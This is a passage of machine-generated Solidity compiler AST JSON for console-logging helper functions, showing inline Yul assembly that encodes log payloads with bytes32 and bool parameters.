"constant":false,"id":44647,"mutability":"mutable","name":"m1","nameLocation":"332618:2:22","nodeType":"VariableDeclaration","scope":44671,"src":"332610:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44646,"name":"bytes32","nodeType":"ElementaryTypeName","src":"332610:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44648,"nodeType":"VariableDeclarationStatement","src":"332610:10:22"},{"assignments":[44650],"declarations":[{"constant":false,"id":44650,"mutability":"mutable","name":"m2","nameLocation":"332638:2:22","nodeType":"VariableDeclaration","scope":44671,"src":"332630:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44649,"name":"bytes32","nodeType":"ElementaryTypeName","src":"332630:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44651,"nodeType":"VariableDeclarationStatement","src":"332630:10:22"},{"assignments":[44653],"declarations":[{"constant":false,"id":44653,"mutability":"mutable","name":"m3","nameLocation":"332658:2:22","nodeType":"VariableDeclaration","scope":44671,"src":"332650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44652,"name":"bytes32","nodeType":"ElementaryTypeName","src":"332650:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44654,"nodeType":"VariableDeclarationStatement","src":"332650:10:22"},{"assignments":[44656],"declarations":[{"constant":false,"id":44656,"mutability":"mutable","name":"m4","nameLocation":"332678:2:22","nodeType":"VariableDeclaration","scope":44671,"src":"332670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44655,"name":"bytes32","nodeType":"ElementaryTypeName","src":"332670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44657,"nodeType":"VariableDeclarationStatement","src":"332670:10:22"},{"assignments":[44659],"declarations":[{"constant":false,"id":44659,"mutability":"mutable","name":"m5","nameLocation":"332698:2:22","nodeType":"VariableDeclaration","scope":44671,"src":"332690:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44658,"name":"bytes32","nodeType":"ElementaryTypeName","src":"332690:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44660,"nodeType":"VariableDeclarationStatement","src":"332690:10:22"},{"assignments":[44662],"declarations":[{"constant":false,"id":44662,"mutability":"mutable","name":"m6","nameLocation":"332718:2:22","nodeType":"VariableDeclaration","scope":44671,"src":"332710:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44661,"name":"bytes32","nodeType":"ElementaryTypeName","src":"332710:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44663,"nodeType":"VariableDeclarationStatement","src":"332710:10:22"},{"AST":{"nativeSrc":"332739:822:22","nodeType":"YulBlock","src":"332739:822:22","statements":[{"body":{"nativeSrc":"332782:313:22","nodeType":"YulBlock","src":"332782:313:22","statements":[{"nativeSrc":"332800:15:22","nodeType":"YulVariableDeclaration","src":"332800:15:22","value":{"kind":"number","nativeSrc":"332814:1:22","nodeType":"YulLiteral","src":"332814:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"332804:6:22","nodeType":"YulTypedName","src":"332804:6:22","type":""}]},{"body":{"nativeSrc":"332885:40:22","nodeType":"YulBlock","src":"332885:40:22","statements":[{"body":{"nativeSrc":"332914:9:22","nodeType":"YulBlock","src":"332914:9:22","statements":[{"nativeSrc":"332916:5:22","nodeType":"YulBreak","src":"332916:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"332902:6:22","nodeType":"YulIdentifier","src":"332902:6:22"},{"name":"w","nativeSrc":"332910:1:22","nodeType":"YulIdentifier","src":"332910:1:22"}],"functionName":{"name":"byte","nativeSrc":"332897:4:22","nodeType":"YulIdentifier","src":"332897:4:22"},"nativeSrc":"332897:15:22","nodeType":"YulFunctionCall","src":"332897:15:22"}],"functionName":{"name":"iszero","nativeSrc":"332890:6:22","nodeType":"YulIdentifier","src":"332890:6:22"},"nativeSrc":"332890:23:22","nodeType":"YulFunctionCall","src":"332890:23:22"},"nativeSrc":"332887:36:22","nodeType":"YulIf","src":"332887:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"332842:6:22","nodeType":"YulIdentifier","src":"332842:6:22"},{"kind":"number","nativeSrc":"332850:4:22","nodeType":"YulLiteral","src":"332850:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"332839:2:22","nodeType":"YulIdentifier","src":"332839:2:22"},"nativeSrc":"332839:16:22","nodeType":"YulFunctionCall","src":"332839:16:22"},"nativeSrc":"332832:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"332856:28:22","nodeType":"YulBlock","src":"332856:28:22","statements":[{"nativeSrc":"332858:24:22","nodeType":"YulAssignment","src":"332858:24:22","value":{"arguments":[{"name":"length","nativeSrc":"332872:6:22","nodeType":"YulIdentifier","src":"332872:6:22"},{"kind":"number","nativeSrc":"332880:1:22","nodeType":"YulLiteral","src":"332880:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"332868:3:22","nodeType":"YulIdentifier","src":"332868:3:22"},"nativeSrc":"332868:14:22","nodeType":"YulFunctionCall","src":"332868:14:22"},"variableNames":[{"name":"length","nativeSrc":"332858:6:22","nodeType":"YulIdentifier","src":"332858:6:22"}]}]},"pre":{"nativeSrc":"332836:2:22","nodeType":"YulBlock","src":"332836:2:22","statements":[]},"src":"332832:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"332949:3:22","nodeType":"YulIdentifier","src":"332949:3:22"},{"name":"length","nativeSrc":"332954:6:22","nodeType":"YulIdentifier","src":"332954:6:22"}],"functionName":{"name":"mstore","nativeSrc":"332942:6:22","nodeType":"YulIdentifier","src":"332942:6:22"},"nativeSrc":"332942:19:22","nodeType":"YulFunctionCall","src":"332942:19:22"},"nativeSrc":"332942:19:22","nodeType":"YulExpressionStatement","src":"332942:19:22"},{"nativeSrc":"332978:37:22","nodeType":"YulVariableDeclaration","src":"332978:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"332995:3:22","nodeType":"YulLiteral","src":"332995:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"333004:1:22","nodeType":"YulLiteral","src":"333004:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"333007:6:22","nodeType":"YulIdentifier","src":"333007:6:22"}],"functionName":{"name":"shl","nativeSrc":"333000:3:22","nodeType":"YulIdentifier","src":"333000:3:22"},"nativeSrc":"333000:14:22","nodeType":"YulFunctionCall","src":"333000:14:22"}],"functionName":{"name":"sub","nativeSrc":"332991:3:22","nodeType":"YulIdentifier","src":"332991:3:22"},"nativeSrc":"332991:24:22","nodeType":"YulFunctionCall","src":"332991:24:22"},"variables":[{"name":"shift","nativeSrc":"332982:5:22","nodeType":"YulTypedName","src":"332982:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"333043:3:22","nodeType":"YulIdentifier","src":"333043:3:22"},{"kind":"number","nativeSrc":"333048:4:22","nodeType":"YulLiteral","src":"333048:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"333039:3:22","nodeType":"YulIdentifier","src":"333039:3:22"},"nativeSrc":"333039:14:22","nodeType":"YulFunctionCall","src":"333039:14:22"},{"arguments":[{"name":"shift","nativeSrc":"333059:5:22","nodeType":"YulIdentifier","src":"333059:5:22"},{"arguments":[{"name":"shift","nativeSrc":"333070:5:22","nodeType":"YulIdentifier","src":"333070:5:22"},{"name":"w","nativeSrc":"333077:1:22","nodeType":"YulIdentifier","src":"333077:1:22"}],"functionName":{"name":"shr","nativeSrc":"333066:3:22","nodeType":"YulIdentifier","src":"333066:3:22"},"nativeSrc":"333066:13:22","nodeType":"YulFunctionCall","src":"333066:13:22"}],"functionName":{"name":"shl","nativeSrc":"333055:3:22","nodeType":"YulIdentifier","src":"333055:3:22"},"nativeSrc":"333055:25:22","nodeType":"YulFunctionCall","src":"333055:25:22"}],"functionName":{"name":"mstore","nativeSrc":"333032:6:22","nodeType":"YulIdentifier","src":"333032:6:22"},"nativeSrc":"333032:49:22","nodeType":"YulFunctionCall","src":"333032:49:22"},"nativeSrc":"333032:49:22","nodeType":"YulExpressionStatement","src":"333032:49:22"}]},"name":"writeString","nativeSrc":"332753:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"332774:3:22","nodeType":"YulTypedName","src":"332774:3:22","type":""},{"name":"w","nativeSrc":"332779:1:22","nodeType":"YulTypedName","src":"332779:1:22","type":""}],"src":"332753:342:22"},{"nativeSrc":"333108:17:22","nodeType":"YulAssignment","src":"333108:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"333120:4:22","nodeType":"YulLiteral","src":"333120:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"333114:5:22","nodeType":"YulIdentifier","src":"333114:5:22"},"nativeSrc":"333114:11:22","nodeType":"YulFunctionCall","src":"333114:11:22"},"variableNames":[{"name":"m0","nativeSrc":"333108:2:22","nodeType":"YulIdentifier","src":"333108:2:22"}]},{"nativeSrc":"333138:17:22","nodeType":"YulAssignment","src":"333138:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"333150:4:22","nodeType":"YulLiteral","src":"333150:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"333144:5:22","nodeType":"YulIdentifier","src":"333144:5:22"},"nativeSrc":"333144:11:22","nodeType":"YulFunctionCall","src":"333144:11:22"},"variableNames":[{"name":"m1","nativeSrc":"333138:2:22","nodeType":"YulIdentifier","src":"333138:2:22"}]},{"nativeSrc":"333168:17:22","nodeType":"YulAssignment","src":"333168:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"333180:4:22","nodeType":"YulLiteral","src":"333180:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"333174:5:22","nodeType":"YulIdentifier","src":"333174:5:22"},"nativeSrc":"333174:11:22","nodeType":"YulFunctionCall","src":"333174:11:22"},"variableNames":[{"name":"m2","nativeSrc":"333168:2:22","nodeType":"YulIdentifier","src":"333168:2:22"}]},{"nativeSrc":"333198:17:22","nodeType":"YulAssignment","src":"333198:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"333210:4:22","nodeType":"YulLiteral","src":"333210:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"333204:5:22","nodeType":"YulIdentifier","src":"333204:5:22"},"nativeSrc":"333204:11:22","nodeType":"YulFunctionCall","src":"333204:11:22"},"variableNames":[{"name":"m3","nativeSrc":"333198:2:22","nodeType":"YulIdentifier","src":"333198:2:22"}]},{"nativeSrc":"333228:17:22","nodeType":"YulAssignment","src":"333228:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"333240:4:22","nodeType":"YulLiteral","src":"333240:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"333234:5:22","nodeType":"YulIdentifier","src":"333234:5:22"},"nativeSrc":"333234:11:22","nodeType":"YulFunctionCall","src":"333234:11:22"},"variableNames":[{"name":"m4","nativeSrc":"333228:2:22","nodeType":"YulIdentifier","src":"333228:2:22"}]},{"nativeSrc":"333258:17:22","nodeType":"YulAssignment","src":"333258:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"333270:4:22","nodeType":"YulLiteral","src":"333270:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"333264:5:22","nodeType":"YulIdentifier","src":"333264:5:22"},"nativeSrc":"333264:11:22","nodeType":"YulFunctionCall","src":"333264:11:22"},"variableNames":[{"name":"m5","nativeSrc":"333258:2:22","nodeType":"YulIdentifier","src":"333258:2:22"}]},{"nativeSrc":"333288:17:22","nodeType":"YulAssignment","src":"333288:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"333300:4:22","nodeType":"YulLiteral","src":"333300:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"333294:5:22","nodeType":"YulIdentifier","src":"333294:5:22"},"nativeSrc":"333294:11:22","nodeType":"YulFunctionCall","src":"333294:11:22"},"variableNames":[{"name":"m6","nativeSrc":"333288:2:22","nodeType":"YulIdentifier","src":"333288:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333382:4:22","nodeType":"YulLiteral","src":"333382:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"333388:10:22","nodeType":"YulLiteral","src":"333388:10:22","type":"","value":"0x895af8c5"}],"functionName":{"name":"mstore","nativeSrc":"333375:6:22","nodeType":"YulIdentifier","src":"333375:6:22"},"nativeSrc":"333375:24:22","nodeType":"YulFunctionCall","src":"333375:24:22"},"nativeSrc":"333375:24:22","nodeType":"YulExpressionStatement","src":"333375:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333419:4:22","nodeType":"YulLiteral","src":"333419:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"333425:4:22","nodeType":"YulLiteral","src":"333425:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"333412:6:22","nodeType":"YulIdentifier","src":"333412:6:22"},"nativeSrc":"333412:18:22","nodeType":"YulFunctionCall","src":"333412:18:22"},"nativeSrc":"333412:18:22","nodeType":"YulExpressionStatement","src":"333412:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333450:4:22","nodeType":"YulLiteral","src":"333450:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"333456:2:22","nodeType":"YulIdentifier","src":"333456:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333443:6:22","nodeType":"YulIdentifier","src":"333443:6:22"},"nativeSrc":"333443:16:22","nodeType":"YulFunctionCall","src":"333443:16:22"},"nativeSrc":"333443:16:22","nodeType":"YulExpressionStatement","src":"333443:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333479:4:22","nodeType":"YulLiteral","src":"333479:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"333485:2:22","nodeType":"YulIdentifier","src":"333485:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333472:6:22","nodeType":"YulIdentifier","src":"333472:6:22"},"nativeSrc":"333472:16:22","nodeType":"YulFunctionCall","src":"333472:16:22"},"nativeSrc":"333472:16:22","nodeType":"YulExpressionStatement","src":"333472:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333508:4:22","nodeType":"YulLiteral","src":"333508:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"333514:2:22","nodeType":"YulIdentifier","src":"333514:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333501:6:22","nodeType":"YulIdentifier","src":"333501:6:22"},"nativeSrc":"333501:16:22","nodeType":"YulFunctionCall","src":"333501:16:22"},"nativeSrc":"333501:16:22","nodeType":"YulExpressionStatement","src":"333501:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333542:4:22","nodeType":"YulLiteral","src":"333542:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"333548:2:22","nodeType":"YulIdentifier","src":"333548:2:22"}],"functionName":{"name":"writeString","nativeSrc":"333530:11:22","nodeType":"YulIdentifier","src":"333530:11:22"},"nativeSrc":"333530:21:22","nodeType":"YulFunctionCall","src":"333530:21:22"},"nativeSrc":"333530:21:22","nodeType":"YulExpressionStatement","src":"333530:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44644,"isOffset":false,"isSlot":false,"src":"333108:2:22","valueSize":1},{"declaration":44647,"isOffset":false,"isSlot":false,"src":"333138:2:22","valueSize":1},{"declaration":44650,"isOffset":false,"isSlot":false,"src":"333168:2:22","valueSize":1},{"declaration":44653,"isOffset":false,"isSlot":false,"src":"333198:2:22","valueSize":1},{"declaration":44656,"isOffset":false,"isSlot":false,"src":"333228:2:22","valueSize":1},{"declaration":44659,"isOffset":false,"isSlot":false,"src":"333258:2:22","valueSize":1},{"declaration":44662,"isOffset":false,"isSlot":false,"src":"333288:2:22","valueSize":1},{"declaration":44634,"isOffset":false,"isSlot":false,"src":"333548:2:22","valueSize":1},{"declaration":44636,"isOffset":false,"isSlot":false,"src":"333456:2:22","valueSize":1},{"declaration":44638,"isOffset":false,"isSlot":false,"src":"333485:2:22","valueSize":1},{"declaration":44640,"isOffset":false,"isSlot":false,"src":"333514:2:22","valueSize":1}],"id":44664,"nodeType":"InlineAssembly","src":"332730:831:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44666,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"333586:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44667,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"333592:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44665,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"333570:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44668,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"333570:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44669,"nodeType":"ExpressionStatement","src":"333570:27:22"},{"AST":{"nativeSrc":"333616:214:22","nodeType":"YulBlock","src":"333616:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"333637:4:22","nodeType":"YulLiteral","src":"333637:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"333643:2:22","nodeType":"YulIdentifier","src":"333643:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333630:6:22","nodeType":"YulIdentifier","src":"333630:6:22"},"nativeSrc":"333630:16:22","nodeType":"YulFunctionCall","src":"333630:16:22"},"nativeSrc":"333630:16:22","nodeType":"YulExpressionStatement","src":"333630:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333666:4:22","nodeType":"YulLiteral","src":"333666:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"333672:2:22","nodeType":"YulIdentifier","src":"333672:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333659:6:22","nodeType":"YulIdentifier","src":"333659:6:22"},"nativeSrc":"333659:16:22","nodeType":"YulFunctionCall","src":"333659:16:22"},"nativeSrc":"333659:16:22","nodeType":"YulExpressionStatement","src":"333659:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333695:4:22","nodeType":"YulLiteral","src":"333695:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"333701:2:22","nodeType":"YulIdentifier","src":"333701:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333688:6:22","nodeType":"YulIdentifier","src":"333688:6:22"},"nativeSrc":"333688:16:22","nodeType":"YulFunctionCall","src":"333688:16:22"},"nativeSrc":"333688:16:22","nodeType":"YulExpressionStatement","src":"333688:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333724:4:22","nodeType":"YulLiteral","src":"333724:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"333730:2:22","nodeType":"YulIdentifier","src":"333730:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333717:6:22","nodeType":"YulIdentifier","src":"333717:6:22"},"nativeSrc":"333717:16:22","nodeType":"YulFunctionCall","src":"333717:16:22"},"nativeSrc":"333717:16:22","nodeType":"YulExpressionStatement","src":"333717:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333753:4:22","nodeType":"YulLiteral","src":"333753:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"333759:2:22","nodeType":"YulIdentifier","src":"333759:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333746:6:22","nodeType":"YulIdentifier","src":"333746:6:22"},"nativeSrc":"333746:16:22","nodeType":"YulFunctionCall","src":"333746:16:22"},"nativeSrc":"333746:16:22","nodeType":"YulExpressionStatement","src":"333746:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333782:4:22","nodeType":"YulLiteral","src":"333782:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"333788:2:22","nodeType":"YulIdentifier","src":"333788:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333775:6:22","nodeType":"YulIdentifier","src":"333775:6:22"},"nativeSrc":"333775:16:22","nodeType":"YulFunctionCall","src":"333775:16:22"},"nativeSrc":"333775:16:22","nodeType":"YulExpressionStatement","src":"333775:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"333811:4:22","nodeType":"YulLiteral","src":"333811:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"333817:2:22","nodeType":"YulIdentifier","src":"333817:2:22"}],"functionName":{"name":"mstore","nativeSrc":"333804:6:22","nodeType":"YulIdentifier","src":"333804:6:22"},"nativeSrc":"333804:16:22","nodeType":"YulFunctionCall","src":"333804:16:22"},"nativeSrc":"333804:16:22","nodeType":"YulExpressionStatement","src":"333804:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44644,"isOffset":false,"isSlot":false,"src":"333643:2:22","valueSize":1},{"declaration":44647,"isOffset":false,"isSlot":false,"src":"333672:2:22","valueSize":1},{"declaration":44650,"isOffset":false,"isSlot":false,"src":"333701:2:22","valueSize":1},{"declaration":44653,"isOffset":false,"isSlot":false,"src":"333730:2:22","valueSize":1},{"declaration":44656,"isOffset":false,"isSlot":false,"src":"333759:2:22","valueSize":1},{"declaration":44659,"isOffset":false,"isSlot":false,"src":"333788:2:22","valueSize":1},{"declaration":44662,"isOffset":false,"isSlot":false,"src":"333817:2:22","valueSize":1}],"id":44670,"nodeType":"InlineAssembly","src":"333607:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"332523:3:22","parameters":{"id":44641,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44634,"mutability":"mutable","name":"p0","nameLocation":"332535:2:22","nodeType":"VariableDeclaration","scope":44672,"src":"332527:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44633,"name":"bytes32","nodeType":"ElementaryTypeName","src":"332527:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44636,"mutability":"mutable","name":"p1","nameLocation":"332544:2:22","nodeType":"VariableDeclaration","scope":44672,"src":"332539:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44635,"name":"bool","nodeType":"ElementaryTypeName","src":"332539:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44638,"mutability":"mutable","name":"p2","nameLocation":"332553:2:22","nodeType":"VariableDeclaration","scope":44672,"src":"332548:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44637,"name":"bool","nodeType":"ElementaryTypeName","src":"332548:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44640,"mutability":"mutable","name":"p3","nameLocation":"332562:2:22","nodeType":"VariableDeclaration","scope":44672,"src":"332557:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44639,"name":"bool","nodeType":"ElementaryTypeName","src":"332557:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"332526:39:22"},"returnParameters":{"id":44642,"nodeType":"ParameterList","parameters":[],"src":"332580:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44712,"nodeType":"FunctionDefinition","src":"333842:1328:22","nodes":[],"body":{"id":44711,"nodeType":"Block","src":"333911:1259:22","nodes":[],"statements":[{"assignments":[44684],"declarations":[{"constant":false,"id":44684,"mutability":"mutable","name":"m0","nameLocation":"333929:2:22","nodeType":"VariableDeclaration","scope":44711,"src":"333921:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44683,"name":"bytes32","nodeType":"ElementaryTypeName","src":"333921:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44685,"nodeType":"VariableDeclarationStatement","src":"333921:10:22"},{"assignments":[44687],"declarations":[{"constant":false,"id":44687,"mutability":"mutable","name":"m1","nameLocation":"333949:2:22","nodeType":"VariableDeclaration","scope":44711,"src":"333941:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44686,"name":"bytes32","nodeType":"ElementaryTypeName","src":"333941:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44688,"nodeType":"VariableDeclarationStatement","src":"333941:10:22"},{"assignments":[44690],"declarations":[{"constant":false,"id":44690,"mutability":"mutable","name":"m2","nameLocation":"333969:2:22","nodeType":"VariableDeclaration","scope":44711,"src":"333961:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44689,"name":"bytes32","nodeType":"ElementaryTypeName","src":"333961:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44691,"nodeType":"VariableDeclarationStatement","src":"333961:10:22"},{"assignments":[44693],"declarations":[{"constant":false,"id":44693,"mutability":"mutable","name":"m3","nameLocation":"333989:2:22","nodeType":"VariableDeclaration","scope":44711,"src":"333981:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44692,"name":"bytes32","nodeType":"ElementaryTypeName","src":"333981:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44694,"nodeType":"VariableDeclarationStatement","src":"333981:10:22"},{"assignments":[44696],"declarations":[{"constant":false,"id":44696,"mutability":"mutable","name":"m4","nameLocation":"334009:2:22","nodeType":"VariableDeclaration","scope":44711,"src":"334001:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44695,"name":"bytes32","nodeType":"ElementaryTypeName","src":"334001:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44697,"nodeType":"VariableDeclarationStatement","src":"334001:10:22"},{"assignments":[44699],"declarations":[{"constant":false,"id":44699,"mutability":"mutable","name":"m5","nameLocation":"334029:2:22","nodeType":"VariableDeclaration","scope":44711,"src":"334021:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44698,"name":"bytes32","nodeType":"ElementaryTypeName","src":"334021:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44700,"nodeType":"VariableDeclarationStatement","src":"334021:10:22"},{"assignments":[44702],"declarations":[{"constant":false,"id":44702,"mutability":"mutable","name":"m6","nameLocation":"334049:2:22","nodeType":"VariableDeclaration","scope":44711,"src":"334041:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44701,"name":"bytes32","nodeType":"ElementaryTypeName","src":"334041:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44703,"nodeType":"VariableDeclarationStatement","src":"334041:10:22"},{"AST":{"nativeSrc":"334070:825:22","nodeType":"YulBlock","src":"334070:825:22","statements":[{"body":{"nativeSrc":"334113:313:22","nodeType":"YulBlock","src":"334113:313:22","statements":[{"nativeSrc":"334131:15:22","nodeType":"YulVariableDeclaration","src":"334131:15:22","value":{"kind":"number","nativeSrc":"334145:1:22","nodeType":"YulLiteral","src":"334145:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"334135:6:22","nodeType":"YulTypedName","src":"334135:6:22","type":""}]},{"body":{"nativeSrc":"334216:40:22","nodeType":"YulBlock","src":"334216:40:22","statements":[{"body":{"nativeSrc":"334245:9:22","nodeType":"YulBlock","src":"334245:9:22","statements":[{"nativeSrc":"334247:5:22","nodeType":"YulBreak","src":"334247:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"334233:6:22","nodeType":"YulIdentifier","src":"334233:6:22"},{"name":"w","nativeSrc":"334241:1:22","nodeType":"YulIdentifier","src":"334241:1:22"}],"functionName":{"name":"byte","nativeSrc":"33422